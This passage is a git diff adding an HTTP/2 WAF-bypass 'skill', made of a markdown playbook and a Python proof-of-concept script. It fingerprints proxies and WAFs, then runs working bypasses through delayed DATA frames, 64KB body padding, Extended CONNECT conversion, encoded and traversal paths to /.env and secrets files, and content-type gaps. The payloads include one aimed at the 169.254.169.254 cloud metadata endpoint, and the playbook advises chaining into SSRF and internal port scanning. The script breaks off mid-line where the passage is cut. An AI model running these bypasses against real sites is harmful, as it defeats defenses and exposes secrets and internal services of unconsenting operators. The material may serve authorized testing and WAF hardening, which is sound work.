diff --git a/capabilities/web-security/skills/h2-waf-bypass/SKILL.md b/capabilities/web-security/skills/h2-waf-bypass/SKILL.md new file mode 100644 index 0000000..ddd6e70 --- /dev/null +++ b/capabilities/web-security/skills/h2-waf-bypass/SKILL.md @@ -0,0 +1,264 @@ +--- +name: h2-waf-bypass +description: Bypass WAF body/path inspection via HTTP/2 binary framing — delayed DATA frames blind out-of-process WAFs, body size truncation evades ext_authz limits, Extended CONNECT converts methods past ACLs. Includes black-box proxy+WAF fingerprinting. Use when WAF blocks payloads over HTTP/1.1 but target supports HTTP/2, or when standard 403-bypass and parser-differential techniques fail. +--- + +# H2 WAF Bypass via Binary Framing + +HTTP/2 splits requests into binary frames: method/path arrive in HEADERS frames, body arrives in DATA frames. Out-of-process WAFs (SPOA, ext_authz, ForwardAuth) evaluate at HEADERS time. If DATA arrives later, the body is invisible to the WAF but reaches the backend. + +In-process WAFs (libmodsecurity3 in nginx) buffer the full request before evaluation. These are NOT vulnerable to frame timing attacks. + +## When to Use + +- WAF blocks your payload over HTTP/1.1 (403 on body content, path, or method) +- Target accepts HTTP/2 (check ALPN or force H2 connection preface) +- Standard `403-bypass` path/header tricks exhausted +- `parser-differential-bypass` content-type tricks exhausted +- `h2c-websocket-smuggling` upgrade path not available + +## Phase 1: Proxy + WAF Fingerprinting + +Identify the proxy and WAF architecture before choosing an attack. Run the bundled PoC (`scripts/h2_waf_bypass.py`) or manually fingerprint. + +### Signal 1: Response Headers + +```bash +curl -sk -D- https://TARGET/ -o /dev/null 2>&1 | grep -iE "^(server|via|alt-svc|x-envoy)" +``` + +| Header | Proxy | +|--------|-------| +| `server: envoy` or `x-envoy-*` | Envoy | +| `via: 1.0 Caddy` or `via: 2.0 Caddy` | Caddy | +| `server: nginx` | nginx | +| `server: Apache` | Apache | +| `alt-svc: h3=` (no other proxy signals) | Caddy (medium confidence) | + +### Signal 2: Error Pages + +```bash +curl -sk https://TARGET/nonexistent-fptest-xyz | head -5 +``` + +- `` = Apache +- `Request forbidden by administrative rules` = HAProxy +- Custom JSON error with `ext_authz` reference = Envoy + +### Signal 3: TLS Certificate CN + +```bash +curl -skv https://TARGET/ 2>&1 | grep "subject:" +``` + +- `CN=TRAEFIK DEFAULT CERT` = Traefik (default config only) + +### Signal 4: ALPN + Forced H2 (HAProxy Signature) + +```bash +curl -sk --http2 -D- https://TARGET/ -o /dev/null 2>&1 | grep -i "HTTP/2" +``` + +HAProxy accepts HTTP/2 even when configured `alpn http/1.1`. The H2 multiplexer activates on the connection preface regardless of ALPN negotiation. If ALPN negotiates `http/1.1` but H2 works anyway, it is HAProxy. No other tested proxy exhibits this behavior. + +### Signal 5: WAF Architecture + +```bash +# Test path-based WAF +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env + +# Test body-based WAF (form-urlencoded) +curl -sk -o /dev/null -w "%{http_code}" -X POST \ + -d '{"jsonrpc":"2.0"}' \ + -H "Content-Type: application/x-www-form-urlencoded" https://TARGET/ + +# Test body-based WAF (JSON) — if form blocked but JSON passes, content-type gap exists +curl -sk -o /dev/null -w "%{http_code}" -X POST \ + -d '{"jsonrpc":"2.0"}' \ + -H "Content-Type: application/json" https://TARGET/ +``` + +| Path 403 | Body (form) 403 | Body (JSON) 403 | WAF Type | +|----------|-----------------|-----------------|----------| +| Yes | Yes | Yes | In-process (modsecurity/libmodsecurity3) | +| Yes | Yes | No | In-process with JSON gap (mod_security2, Coraza) | +| No | Yes | Yes | Out-of-process, body-only (ext_authz) | +| Yes | No | No | Out-of-process, path-only (ForwardAuth) | +| No | No | No | No WAF or WAF not triggered | + +### Fingerprint → Attack Router + +``` +Proxy identified + WAF type determined + ├── HAProxy + out-of-process (Coraza SPOA) + │ ├── Attack 1: H2 Body Timing (delayed DATA frame) + │ ├── Attack 2: Body Size Truncation + │ └── Attack 3: Extended CONNECT method conversion + ├── Envoy + ext_authz + │ ├── Attack 2: Body Size Truncation (64KB boundary) + │ └── Check: Missing path inspection (no path rules = direct access) + ├── Traefik + ForwardAuth + │ ├── Attack 4: ForwardAuth body stripping (body never forwarded) + │ └── Attack 5: Path normalization bypass + ├── Apache + mod_security2 + │ └── Attack 6: JSON content-type gap + ├── Caddy + Coraza + │ ├── Attack 5: Path normalization bypass + │ └── Attack 6: JSON content-type gap + └── nginx + libmodsecurity3 + └── No known H2 frame-level bypasses (buffers full request) +``` + +## Phase 2: Exploitation + +### Attack 1: H2 Body Timing (Delayed DATA Frame) + +**Target:** Out-of-process WAFs (HAProxy+SPOA, Envoy+ext_authz) + +``` +T+0ms: HEADERS frame → WAF check fires (body empty) → verdict: ALLOW +T+500ms: DATA frame → forwarded to backend (WAF already decided) +``` + +**Key sequence:** +1. Send HEADERS (`:method POST`, `:path /`, `content-type: application/x-www-form-urlencoded`) with `END_HEADERS` but NOT `END_STREAM` +2. `time.sleep(0.5)` — WAF fires here on out-of-process architectures +3. Send DATA frame with malicious body + `END_STREAM` + +**Verdict:** H1 POST returns 403 but H2 split delivery returns 200 → WAF body blind spot confirmed. + +**Automated:** `python3 scripts/h2_waf_bypass.py TARGET 443 all` + +### Attack 2: Body Size Truncation + +**Target:** Envoy ext_authz with `max_request_bytes` (default 64KB) + `allow_partial_message: true` + +ext_authz only forwards the first N bytes to the auth service. Payload after that boundary is invisible to the WAF. + +**Test:** +1. Baseline: small body with blocked payload → expect 403 +2. Attack: 64KB padding (`b'A' * 65536`) + same payload → if 200, WAF only saw padding +3. If 64KB fails, try larger padding — limit is config-dependent + +### Attack 3: Extended CONNECT Method Conversion + +**Target:** HAProxy (RFC 8441 Extended CONNECT) + +**Mechanism:** H2 CONNECT with `:protocol=websocket` pseudo-header converts to HTTP/1.1 `GET` + `Upgrade: websocket` during H2-to-H1 translation. Method ACLs blocking CONNECT never fire because the backend sees GET. + +**H2 pseudo-headers sent:** +``` +:method = CONNECT +:protocol = websocket +:path = / +:scheme = https +:authority = target.com +``` + +**Backend receives (H1):** +```http +GET / HTTP/1.1 +Host: target.com +Upgrade: websocket +``` + +Method ACLs that block `CONNECT` or restrict methods to `GET/POST` see a `GET` request after translation. + +### Attack 4: ForwardAuth Body Stripping + +**Target:** Traefik v3 + ForwardAuth middleware + +ForwardAuth forwards only headers — body is never sent to the auth service. Works over H1 and H2. + +```bash +curl -sk -X POST -d '{"jsonrpc":"2.0"}' -H "Content-Type: application/json" https://TARGET/ +curl -sk -X POST -d 'cmd=exec&target=internal' -H "Content-Type: application/json" https://TARGET/ +``` + +### Attack 5: Path Normalization Bypass + +**Target:** Traefik+ForwardAuth, Caddy+Coraza + +**Mechanism:** WAF matches literal path strings (`/.env`). Proxy decodes URL-encoded paths before forwarding to backend. Encoded variants bypass string matching. + +```bash +# Baseline (blocked) +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env + +# Bypass variants +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2eenv +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.%65nv +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.e%6ev +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2e%65%6e%76 +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/static/..%2f.env +curl -sk -o /dev/null -w "%{http_code}" https://TARGET/..%252f.env +``` + +If baseline returns 403 but any variant returns 200, path normalization bypass confirmed. + +### Attack 6: JSON Content-Type Gap + +**Target:** Apache+mod_security2, Caddy+Coraza + +ModSecurity `REQUEST_BODY` variable only parses `application/x-www-form-urlencoded`. Same payload as `application/json` bypasses body-phase rules. + +```bash +# Blocked (form-urlencoded) +curl -sk -o /dev/null -w "%{http_code}" -X POST \ + -d 'cmd=exec&target=internal' \ + -H "Content-Type: application/x-www-form-urlencoded" https://TARGET/ + +# Bypass (JSON) +curl -sk -o /dev/null -w "%{http_code}" -X POST \ + -d '{"cmd":"exec","target":"internal"}' \ + -H "Content-Type: application/json" https://TARGET/ +``` + +## Bypass Scorecard + +| Proxy | WAF | Body Timing | Body Size | Ext CONNECT | Path Norm | JSON Gap | ForwardAuth | +|-------|-----|:-----------:|:---------:|:-----------:|:---------:|:--------:|:-----------:| +| HAProxy 2.9 | Coraza SPOA | VULN | VULN | VULN | - | - | - | +| Envoy 1.32 | ext_authz | - | VULN | - | - | - | - | +| Traefik v3 | ForwardAuth | - | - | - | VULN | - | VULN | +| Apache | mod_security2 | - | - | - | - | VULN | - | +| Caddy | Coraza | - | - | - | VULN | VULN | - | +| **nginx** | **libmodsecurity3** | **-** | **-** | **-** | **-** | **-** | **-** | + +nginx + libmodsecurity3 is the only tested configuration with zero bypasses. + +## PoC Tool + +Bundled at `scripts/h2_waf_bypass.py`. Zero dependencies — raw H2 frames from stdlib. + +```bash +python3 scripts/h2_waf_bypass.py TARGET 443 # full pipeline +python3 scripts/h2_waf_bypass.py TARGET 443 fingerprint # fingerprint only +python3 scripts/h2_waf_bypass.py TARGET 443 exploit # exploit only +``` + +Proxy through Caido: modify `tls_connect()` or set `HTTPS_PROXY=http://localhost:8080`. + +## Chain With + +- **403-bypass** — exhaust HTTP/1.1 path/header tricks first, then escalate to H2 framing +- **h2c-websocket-smuggling** — if proxy forwards Upgrade headers, H2C may bypass ACLs entirely +- **h2-connect-internal-scan** — H2 CONNECT for internal port scanning after WAF bypass +- **parser-differential-bypass** — content-type and encoding differentials complement H2 attacks +- **blind-ssrf-chains** — once WAF is bypassed, escalate SSRF to proven impact +- **content-type-mime-diff** — overlaps with Attack 6 (JSON gap), deeper MIME differential coverage + +## Rules + +- **Fingerprint before attacking.** The proxy+WAF combination determines which attacks apply. Spraying all 6 against nginx wastes time. +- **H1 baseline first.** Always establish what the WAF blocks over HTTP/1.1 before testing H2 bypasses. The bypass is the delta. +- **nginx is hardened.** libmodsecurity3 buffers full requests. Do not waste cycles on H2 timing attacks against nginx. +- **ForwardAuth is body-blind by design.** This is not a bug in Traefik — it is how ForwardAuth works. Body inspection requires a different middleware architecture. +- **Body size truncation is config-dependent.** The 64KB default in ext_authz is common but not universal. Test with incrementally larger padding if 64KB fails. +- **Proxy through Caido.** All exploitation requests must go through `curl -x http://localhost:8080 -k` for evidence capture. + +## Reference + +- [CTBB Lab: WAF Bypasses via HTTP/2 Framing](https://lab.ctbb.show/research/h2-WAF-Bypasses) +- [RFC 8441: Extended CONNECT](https://datatracker.ietf.org/doc/html/rfc8441) +- [RFC 9113: HTTP/2](https://datatracker.ietf.org/doc/html/rfc9113) diff --git a/capabilities/web-security/skills/h2-waf-bypass/scripts/h2_waf_bypass.py b/capabilities/web-security/skills/h2-waf-bypass/scripts/h2_waf_bypass.py new file mode 100644 index 0000000..1525dd6 --- /dev/null +++ b/capabilities/web-security/skills/h2-waf-bypass/scripts/h2_waf_bypass.py @@ -0,0 +1,802 @@ +#!/usr/bin/env python3 + +""" +HTTP/2 WAF Bypass — Unified PoC (Black-Box) + +Fingerprints reverse proxy + WAF architecture, then runs applicable H2 bypass tests. + +Usage: + python3 h2_waf_bypass.py # full pipeline + python3 h2_waf_bypass.py fingerprint # fingerprint only + python3 h2_waf_bypass.py exploit # skip to exploit + +Reference: https://lab.ctbb.show/research/h2-WAF-Bypasses + +Zero external dependencies — constructs raw H2 frames from stdlib. +""" + +import json +import socket +import ssl +import struct +import sys +import time + +# H2 Frame Types +FRAME_DATA = 0x00 +FRAME_HEADERS = 0x01 +FRAME_RST = 0x03 +FRAME_SETTINGS = 0x04 +FRAME_GOAWAY = 0x07 + +# H2 Flags +FLAG_END_STREAM = 0x01 +FLAG_END_HEADERS = 0x04 +FLAG_ACK = 0x01 + + +def encode_int(value, prefix_bits): + """HPACK integer encoding (RFC 7541 Section 5.1).""" + max_prefix = (1 << prefix_bits) - 1 + if value < max_prefix: + return bytes([value]) + out = bytes([max_prefix]) + value -= max_prefix + while value >= 128: + out += bytes([(value & 0x7f) | 0x80]) + value >>= 7 + out += bytes([value]) + return out + + +def encode_headers(headers): + """Encode headers as raw HPACK literal-never-indexed fields.""" + out = b'' + for name, value in headers: + name_b = name.encode() if isinstance(name, str) else name + value_b = value.encode() if isinstance(value, str) else value + out += b'\x00' + out += encode_int(len(name_b), 7) + name_b + out += encode_int(len(value_b), 7) + value_b + return out + + +def make_frame(ftype, flags, stream_id, payload): + """Build a raw HTTP/2 frame.""" + return (struct.pack('>I', len(payload))[1:] + + bytes([ftype, flags]) + + struct.pack('>I', stream_id) + + payload) + + +def parse_frames(data): + """Parse raw bytes into H2 frames.""" + frames = [] + pos = 0 + while pos + 9 <= len(data): + length = struct.unpack('>I', b'\x00' + data[pos:pos + 3])[0] + ftype = data[pos + 3] + flags = data[pos + 4] + stream_id = struct.unpack('>I', data[pos + 5:pos + 9])[0] & 0x7FFFFFFF + payload = data[pos + 9:pos + 9 + length] + frames.append({ + 'type': ftype, 'flags': flags, 'stream': stream_id, + 'payload': payload, 'length': length + }) + pos += 9 + length + return frames + + +def extract_status(frames): + """Extract HTTP status from H2 response frames.""" + for f in frames: + if f['type'] == FRAME_HEADERS and f['payload']: + b0 = f['payload'][0] + status_map = { + 0x88: 200, 0x89: 204, 0x8a: 206, 0x8b: 304, + 0x8c: 400, 0x8d: 404, 0x8e: 500 + } + if b0 in status_map: + return status_map[b0] + if b0 == 0x48 and len(f['payload']) >= 5: + return int(f['payload'][2:5].decode(errors='replace')) + if b0 & 0xc0 == 0x40: + idx = b0 & 0x3f + if idx in (8, 9, 10, 11, 12, 13, 14): + vlen = f['payload'][1] + return int(f['payload'][2:2 + vlen].decode(errors='replace')) + elif f['type'] == FRAME_RST and f['payload']: + error = struct.unpack('>I', f['payload'][0:4])[0] + return f'RST_STREAM(err={error})' + elif f['type'] == FRAME_GOAWAY: + if len(f['payload']) >= 8: + error = struct.unpack('>I', f['payload'][4:8])[0] + return f'GOAWAY(err={error})' + return None + + +def extract_body(frames): + body = b'' + for f in frames: + if f['type'] == FRAME_DATA: + body += f['payload'] + return body + + +def tls_connect(host, port, alpn_protocols=None): + """Raw TLS connection with optional ALPN override.""" + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + if alpn_protocols: + ctx.set_alpn_protocols(alpn_protocols) + sock = socket.create_connection((host, port), timeout=10) + tls = ctx.wrap_socket(sock, server_hostname=host) + return tls + + +def h2_connect(host, port): + """Establish TLS + HTTP/2 connection, forcing H2 via ALPN.""" + tls = tls_connect(host, port, alpn_protocols=['h2']) + alpn = tls.selected_alpn_protocol() + tls.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n') + tls.send(make_frame(FRAME_SETTINGS, 0x00, 0, b'')) + time.sleep(0.3) + tls.settimeout(3) + h2_ok = False + try: + data = tls.recv(4096) + server_frames = parse_frames(data) + h2_ok = any(f['type'] == FRAME_SETTINGS for f in server_frames) + except socket.timeout: + pass + if h2_ok: + tls.send(make_frame(FRAME_SETTINGS, FLAG_ACK, 0, b'')) + time.sleep(0.1) + tls.settimeout(10) + return tls, alpn, h2_ok + + +def read_h2_response(tls, timeout=5): + """Read H2 response frames, return (status, body).""" + tls.settimeout(timeout) + all_data = b'' + try: + while True: + chunk = tls.recv(65535) + if not chunk: + break + all_data += chunk + except (socket.timeout, ConnectionResetError, ssl.SSLError): + pass + frames = parse_frames(all_data) + return extract_status(frames), extract_body(frames) + + +def h1_request(host, port, method, path, body=b'', content_type='application/json', + extra_headers=None): + """Send a raw HTTP/1.1 request over TLS.""" + tls = tls_connect(host, port) + hdrs = (f'{method} {path} HTTP/1.1\r\n' + f'Host: {host}\r\n' + f'Content-Type: {content_type}\r\n' + f'Content-Length: {len(body)}\r\n') + if extra_headers: + for k, v in extra_headers: + hdrs += f'{k}: {v}\r\n' + hdrs += 'Connection: close\r\n\r\n' + tls.send(hdrs.encode() + body) + resp = b'' + try: + while True: + chunk = tls.recv(4096) + if not chunk: + break + resp += chunk + except (socket.timeout, ssl.SSLError): + pass + tls.close() + resp_str = resp.decode(errors='replace') + lines = resp_str.split('\r\n') + status_line = lines[0] if lines else '' + try: + code = int(status_line.split(' ')[1]) + except (IndexError, ValueError): + code = None + parts = resp_str.split('\r\n\r\n', 1) + headers_str = parts[0] if parts else '' + body_str = parts[1] if len(parts) > 1 else '' + return code, headers_str, body_str + + +def pr(label, result, body=b''): + """Print formatted test result.""" + body_str = '' + if body: + txt = body.decode(errors='replace') if isinstance(body, bytes) else str(body) + body_str = f' body={txt[:200]}' + print(f' {label:55s} -> {result}{body_str}') + + +# --- Phase 1: Proxy Fingerprinting --- + +def fingerprint_proxy(host, port): + result = {'proxy': 'unknown', 'confidence': 'low', 'signals': [], + 'alpn': None, 'h2_ok': False} + + try: + tls = tls_connect(host, port, alpn_protocols=['h2', 'http/1.1']) + alpn = tls.selected_alpn_protocol() + cert_der = tls.getpeercert(binary_form=True) + tls.close() + result['alpn'] = alpn + except Exception as e: + print(f' [!] TLS connection failed: {e}') + return result + + cert_cn = '' + if cert_der: + try: + cn_oid = b'\x55\x04\x03' + idx = cert_der.find(cn_oid) + if idx >= 0: + pos = idx + len(cn_oid) + if pos < len(cert_der): + pos += 1 + cn_len = cert_der[pos] + pos += 1 + cert_cn = cert_der[pos:pos + cn_len].decode(errors='replace') + except Exception: + pass + + if cert_cn: + result['signals'].append(('tls_cert_cn', cert_cn)) + if 'TRAEFIK' in cert_cn.upper(): + result['signals'].append(('traefik_default_cert', True)) + + try: + code, headers, body = h1_request(host, port, 'GET', '/') + for line in headers.split('\r\n'): + ll = line.lower() + if ll.startswith('server:'): + result['signals'].append(('server_header', line.split(':', 1)[1].strip())) + if ll.startswith('via:'): + result['signals'].append(('via_header', line.split(':', 1)[1].strip())) + if ll.startswith('alt-svc:'): + result['signals'].append(('alt_svc', line.split(':', 1)[1].strip())) + if 'x-envoy' in ll: + result['signals'].append(('envoy_header', line.strip())) + except Exception: + pass + + try: + code404, headers404, body404 = h1_request(host, port, 'GET', '/nonexistent-fptest-xyz') + if '' in body404: + result['signals'].append(('error_page', 'apache_classic')) + for line in headers404.split('\r\n'): + if line.lower().startswith('server:') and 'apache' in line.lower(): + result['signals'].append(('server_header_404', 'Apache')) + if 'Request forbidden by administrative rules' in body404: + result['signals'].append(('error_page', 'haproxy_403')) + except Exception: + pass + + try: + tls2, alpn2, h2_ok = h2_connect(host, port) + result['h2_ok'] = h2_ok + if h2_ok and alpn != 'h2': + result['signals'].append(('h2_forced', True)) + tls2.close() + except Exception: + pass + + signal_vals = {s[0]: s[1] for s in result['signals']} + + if any('envoy' in str(v).lower() for _, v in result['signals']): + result['proxy'] = 'envoy' + result['confidence'] = 'high' + return result + + if 'via_header' in signal_vals and 'caddy' in signal_vals['via_header'].lower(): + result['proxy'] = 'caddy' + result['confidence'] = 'high' + return result + + if 'alt_svc' in signal_vals and 'h3=' in signal_vals['alt_svc']: + result['proxy'] = 'caddy' + result['confidence'] = 'medium' + return result + + if 'server_header' in signal_vals and 'nginx' in signal_vals['server_header'].lower(): + result['proxy'] = 'nginx' + result['confidence'] = 'high' + return result + + if signal_vals.get('server_header_404') == 'Apache': + result['proxy'] = 'apache' + result['confidence'] = 'high' + return result + + if signal_vals.get('error_page') == 'apache_classic': + result['proxy'] = 'apache' + result['confidence'] = 'high' + return result + + if signal_vals.get('traefik_default_cert'): + result['proxy'] = 'traefik' + result['confidence'] = 'medium' + return result + + if result['alpn'] != 'h2' and result['h2_ok']: + result['proxy'] = 'haproxy' + result['confidence'] = 'high' + result['signals'].append(('note', 'ALPN h1 only but H2 accepted = HAProxy signature')) + return result + + if signal_vals.get('error_page') == 'haproxy_403': + result['proxy'] = 'haproxy' + result['confidence'] = 'medium' + return result + + if result['alpn'] == 'h2' and result['h2_ok']: + has_proxy_header = any( + name in ('envoy_header', 'via_header', 'alt_svc', 'server_header_404', 'error_page') + for name in [s[0] for s in result['signals']] + ) + if not has_proxy_header: + result['proxy'] = 'traefik' + result['confidence'] = 'medium' + result['signals'].append(('note', 'identified by elimination')) + return result + + return result + + +# --- Phase 2: WAF Fingerprinting --- + +def fingerprint_waf(host, port, proxy_name, h2_ok): + result = {'waf_type': 'unknown', 'waf_engine': 'unknown', 'signals': [], + 'path_waf': False, 'body_waf': False} + + try: + code, _, _ = h1_request(host, port, 'GET', '/.env') + result['signals'].append(('path_test_/.env', code)) + if code == 403: + result['path_waf'] = True + except Exception: + pass + + try: + code, _, _ = h1_request(host, port, 'POST', '/', + body=b'{"jsonrpc":"2.0"}', + content_type='application/x-www-form-urlencoded') + result['signals'].append(('body_test_jsonrpc_form', code)) + if code == 403: + result['body_waf'] = True + except Exception: + pass + + try: + code, _, _ = h1_request(host, port, 'POST', '/', + body=b'{"jsonrpc":"2.0"}', + content_type='application/json') + result['signals'].append(('body_test_jsonrpc_json', code)) + if code != 403 and result['body_waf']: + result['signals'].append(('json_body_gap', True)) + except Exception: + pass + + try: + code, hdrs, body = h1_request(host, port, 'POST', '/', + body=b'cmd=exec&target=internal', + content_type='application/x-www-form-urlencoded') + result['signals'].append(('body_test_cmdexec', code)) + if code == 403: + hdrs_lower = hdrs.lower() + body_lower = body.lower() + if 'ext_authz' in body_lower: + result['waf_engine'] = 'ext_authz' + result['waf_type'] = 'out-of-process' + elif 'administrative rules' in body_lower: + result['waf_engine'] = 'coraza-spoa' + result['waf_type'] = 'out-of-process' + elif 'server: apache' in hdrs_lower and 'forbidden' in body_lower: + result['waf_engine'] = 'modsecurity' + result['waf_type'] = 'in-process' + elif 'server: nginx' in hdrs_lower and 'forbidden' in body_lower: + result['waf_engine'] = 'modsecurity' + result['waf_type'] = 'in-process' + elif 'server: caddy' in hdrs_lower: + result['waf_engine'] = 'coraza-caddy' + result['waf_type'] = 'in-process' + else: + result['waf_type'] = 'detected' + result['signals'].append(('block_body_sample', body[:200])) + except Exception: + pass + + if result['waf_engine'] == 'unknown' and result['path_waf']: + defaults = { + 'haproxy': ('coraza-spoa', 'out-of-process'), + 'envoy': ('ext_authz', 'out-of-process'), + 'traefik': ('forwardauth', 'forwardauth'), + 'apache': ('modsecurity', 'in-process'), + 'nginx': ('modsecurity', 'in-process'), + 'caddy': ('coraza-caddy', 'in-process'), + } + if proxy_name in defaults: + result['waf_engine'] = defaults[proxy_name][0] + result['waf_type'] = defaults[proxy_name][1] + result['signals'].append(('note', 'engine inferred from proxy type')) + + return result + + +# --- Phase 3: Exploit Tests --- + +def test_no_path_inspection(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] Missing Path Inspection') + print(f' {"=" * 60}\n') + paths = [('/.env', 'environment variables'), ('/.config/secrets.json', 'app secrets')] + results = [] + for path, desc in paths: + try: + tls, _, _ = h2_connect(host, port) + headers = encode_headers([ + (':method', 'GET'), (':path', path), + (':scheme', 'https'), (':authority', host), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_STREAM | FLAG_END_HEADERS, 1, headers)) + status, body = read_h2_response(tls) + pr(f'{path:35s} ({desc})', status) + results.append((path, status)) + tls.close() + except Exception as e: + pr(f'{path:35s}', f'ERROR: {e}') + accessible = [r for r in results if r[1] == 200] + if accessible: + print(f'\n [VULNERABLE] Sensitive files accessible — no path WAF rules') + return True + print(f'\n [SAFE] Paths blocked') + return False + + +def test_body_size_bypass(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] Body Size Limit Bypass (64KB boundary)') + print(f' {"=" * 60}\n') + try: + tls, _, _ = h2_connect(host, port) + small_body = b'{"jsonrpc":"2.0","method":"test","id":1}' + headers = encode_headers([ + (':method', 'POST'), (':path', '/'), + (':scheme', 'https'), (':authority', host), + ('content-type', 'application/x-www-form-urlencoded'), + ('content-length', str(len(small_body))), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_HEADERS, 1, headers)) + tls.send(make_frame(FRAME_DATA, FLAG_END_STREAM, 1, small_body)) + baseline, _ = read_h2_response(tls) + pr('Small body (<64KB)', baseline) + tls.close() + except Exception as e: + pr('Small body baseline', f'ERROR: {e}') + baseline = 'error' + try: + tls, _, _ = h2_connect(host, port) + padding = b'A' * 65536 + payload = b'{"jsonrpc":"2.0","method":"test","id":1}' + big_body = padding + payload + headers = encode_headers([ + (':method', 'POST'), (':path', '/'), + (':scheme', 'https'), (':authority', host), + ('content-type', 'application/x-www-form-urlencoded'), + ('content-length', str(len(big_body))), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_HEADERS, 1, headers)) + pos = 0 + while pos < len(big_body): + chunk = big_body[pos:pos + 16384] + flags = FLAG_END_STREAM if pos + 16384 >= len(big_body) else 0x00 + tls.send(make_frame(FRAME_DATA, flags, 1, chunk)) + pos += 16384 + bypass, _ = read_h2_response(tls) + pr('Large body (payload past 64KB)', bypass) + tls.close() + except Exception as e: + pr('Large body bypass', f'ERROR: {e}') + bypass = 'error' + if baseline == 403 and bypass == 200: + print(f'\n [VULNERABLE] Body size truncation confirmed') + return True + print(f'\n [SAFE] Large body also blocked') + return False + + +def test_h2_body_timing(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] H2 Body Timing — Split HEADERS/DATA (500ms delay)') + print(f' {"=" * 60}\n') + print(f' --- H1 Baseline ---') + code, _, _ = h1_request(host, port, 'POST', '/', + body=b'{"jsonrpc":"2.0","method":"test","id":1}', + content_type='application/x-www-form-urlencoded') + pr('H1 POST body="jsonrpc" (form-urlencoded)', code) + print(f'\n --- H2 Split Delivery ---') + payloads = [ + ('jsonrpc', b'{"jsonrpc":"2.0","method":"test","id":1}'), + ('cmd=exec', b'cmd=exec&target=internal'), + ('169.254', b'{"url":"http://169.254.169.254/latest/meta-data/"}'), + ] + results = [] + for label, payload in payloads: + try: + tls, _, _ = h2_connect(host, port) + headers = encode_headers([ + (':method', 'POST'), (':path', '/'), + (':scheme', 'https'), (':authority', host), + ('content-type', 'application/x-www-form-urlencoded'), + ('content-length', str(len(payload))), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_HEADERS, 1, headers)) + time.sleep(0.5) + tls.send(make_frame(FRAME_DATA, FLAG_END_STREAM, 1, payload)) + status, body = read_h2_response(tls) + pr(f'H2 POST body="{label}" (split 500ms)', status) + results.append((label, status)) + tls.close() + except Exception as e: + pr(f'H2 POST body="{label}" (split)', f'ERROR: {e}') + results.append((label, 'error')) + bypassed = [r for r in results if r[1] == 200] + if bypassed and code == 403: + print(f'\n [VULNERABLE] H1={code} vs H2=200 — WAF body blind spot') + return True + print(f'\n [SAFE] All payloads blocked') + return False + + +def test_path_normalization(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] Path Normalization Bypass') + print(f' {"=" * 60}\n') + variants = [ + ('/.env', 'direct (baseline)'), + ('/%2eenv', 'dot encoded'), + ('/.%65nv', 'e encoded'), + ('/.e%6ev', 'n encoded'), + ('/%2e%65%6e%76', 'fully encoded'), + ('/..%252f.env', 'double encoded traversal'), + ('/static/..%2f.env', 'traversal with encoded slash'), + ] + results = [] + for path, desc in variants: + try: + tls, _, _ = h2_connect(host, port) + headers = encode_headers([ + (':method', 'GET'), (':path', path), + (':scheme', 'https'), (':authority', host), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_STREAM | FLAG_END_HEADERS, 1, headers)) + status, body = read_h2_response(tls) + pr(f'{path:35s} ({desc})', status) + results.append((path, desc, status)) + tls.close() + except Exception as e: + pr(f'{path:35s} ({desc})', f'ERROR: {e}') + bypassed = [r for r in results if r[2] == 200 and r[0] != '/.env'] + if bypassed: + print(f'\n [VULNERABLE] Path normalization bypass:') + for path, desc, _ in bypassed: + print(f' {path} ({desc})') + return True + print(f'\n [SAFE] All variants blocked') + return False + + +def test_json_body_gap(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] JSON Content-Type Gap') + print(f' {"=" * 60}\n') + payloads = [ + ('jsonrpc', b'{"jsonrpc":"2.0","method":"test","id":1}'), + ('cmd=exec', b'cmd=exec&target=internal'), + ('169.254', b'{"url":"http://169.254.169.254/latest/meta-data/"}'), + ] + results = [] + for label, payload in payloads: + code_form, _, _ = h1_request(host, port, 'POST', '/', body=payload, + content_type='application/x-www-form-urlencoded') + code_json, _, _ = h1_request(host, port, 'POST', '/', body=payload, + content_type='application/json') + bypassed = code_form == 403 and code_json != 403 + marker = 'BYPASS' if bypassed else 'blocked' + pr(f'{label:15s} form={code_form} json={code_json}', marker) + results.append((label, code_form, code_json, bypassed)) + bypassed = [r for r in results if r[3]] + if bypassed: + print(f'\n [VULNERABLE] JSON content-type bypasses body inspection') + return True + print(f'\n [SAFE] Body inspection works for all content types') + return False + + +def test_extended_connect(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] Extended CONNECT Method Conversion') + print(f' {"=" * 60}\n') + try: + tls, _, _ = h2_connect(host, port) + headers = encode_headers([ + (':method', 'CONNECT'), (':authority', host), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_STREAM | FLAG_END_HEADERS, 1, headers)) + status1, _ = read_h2_response(tls) + pr('Regular CONNECT (no :protocol)', status1) + tls.close() + except Exception as e: + pr('Regular CONNECT', f'ERROR: {e}') + status1 = 'error' + try: + tls, _, _ = h2_connect(host, port) + headers = encode_headers([ + (':method', 'CONNECT'), (':path', '/'), + (':scheme', 'https'), (':authority', host), + (':protocol', 'websocket'), + ]) + tls.send(make_frame(FRAME_HEADERS, FLAG_END_HEADERS, 1, headers)) + time.sleep(0.3) + body = b'{"jsonrpc":"2.0","method":"test","id":1}' + tls.send(make_frame(FRAME_DATA, FLAG_END_STREAM, 1, body)) + status2, resp_body = read_h2_response(tls) + pr('Extended CONNECT (:protocol=websocket)', status2, resp_body) + tls.close() + except Exception as e: + pr('Extended CONNECT (:protocol=websocket)', 